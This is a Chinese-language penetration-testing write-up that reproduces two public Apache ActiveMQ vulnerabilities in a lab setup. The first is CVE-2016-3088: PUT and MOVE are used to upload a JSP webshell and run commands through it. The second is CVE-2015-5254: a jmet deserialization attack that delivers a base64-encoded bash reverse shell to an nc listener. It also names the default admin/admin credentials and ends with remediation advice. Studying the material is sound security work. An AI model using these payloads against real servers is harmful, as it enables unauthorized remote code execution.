ActiveMQ系列漏洞匯總復現
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
前言
Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。隨著中間件的啟動,會打開兩個端口,61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。
Jetty 是一個開源的 servlet 容器,它為基于 Java 的 web 容器,例如 JSP 和 servlet 提供運行環境。ActiveMQ 5.0 及以后版本默認集成了jetty。在啟動后提供一個監控 ActiveMQ 的 Web 應用。
本文主要是針對ActiveMQ系列已公開的漏洞進行復現學習。本以為漏洞已經比較久遠,但在近幾個月安全檢查過程中依舊發現存在該系列問題,故在此做個匯總分享。
系列漏洞復現
ActiveMQ可以多種利用方式,但是絕大部分提及都是比較單一的利用方式,這里我主要復現的是不安全HTTP方法利用以及反序列化漏洞的復現。
一、ActiveMQ缺陷概述
首先簡單了解一下,ActiveMQ默認使用8161端口,且管理地址為/admin,默認口令為admin/admin,反序列化漏洞利用會涉及到61616工作端口
這也就是說我們可通過工具進行批量探測。這邊我使用小米范web查找工具

當然nmap也可,或者其他自認為方便好用的工具。
nmap -A -p8161 x.x.x.x

二、(CVE-2016-3088) ActiveMQ(PUT、MOVE)不安全方法利用
影響版本:Apache ActiveMQ 5.x ~ 5.14.0
目標靶機:192.168.102.137(可用vulhub直接搭建)
ActiveMQ默認開啟PUT、MOVE請求,當開啟PUT時,構造好Payload(即不存在 的目錄),Response會返回相應的物理路徑信息
在這里以一次IDC對某單位進行檢查時的案例來驗證。
直接通過構造poc來檢測
PUT /fileserver/Angus../../%08/./..%08/ HTTP/1.1Host: x.x.x.x:8161

ActiveMQ開啟put方法時,當fileserver存在時可上傳webshell,一般構造成功返回204,若不可put則返回404或500,需要注意的是fileserver 路徑下不解析,因為權限不足

可通過/admin/test/systemProperties.jsp確定當前系統路徑

將webshell MOVE到可解析的目錄api下,即可
上傳jsp webshell

Move至api目錄下

請求webshell文件,執行命令/api/angus.jsp?cmd=uname%20-a

三、(CVE-2015-5254)ActiveMQ 反序列化漏洞
影響版本:Apache ActiveMQ 5.x ~ 5.13.0
攻擊主機:192.168.102.137
目標主機:192.168.102.202
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,該漏洞源于程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。
工具地址:
https://github.com/matthiaskaiser/jmet/releases/tag/0.1.0

命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/Angustest" -Yp ROME 192.168.102.137 61616


點擊該隊列查看消息即可觸發命令執行

進入容器docker-compose exec activemq bash,可見/tmp/Angustest 已成功創建,說明漏洞利用成功

在攻擊機開啟監聽端口
Nc -lvvp 18111發送bash反彈shell命令payload到目標主機上(這里需要對bash命令進行base64編碼) //base編碼內容:bash -i >& /dev/tcp/192.168.102.202/18111 0>&1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMi4yMDIvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.102.137 61616


點擊隊列后,返回攻擊主機,發現成功反彈shell

修復建議
1、 針對未授權訪問,可修改conf/jetty.xml文件,bean id為securityConstraint下的authenticate修改值為true,重啟服務即可
2、 針對弱口令,可修改conf/jetty.xml文件,bean id為securityLoginService下的conf值獲取用戶properties,修改用戶名密碼,重啟服務即可
3、 升級版本至最新版本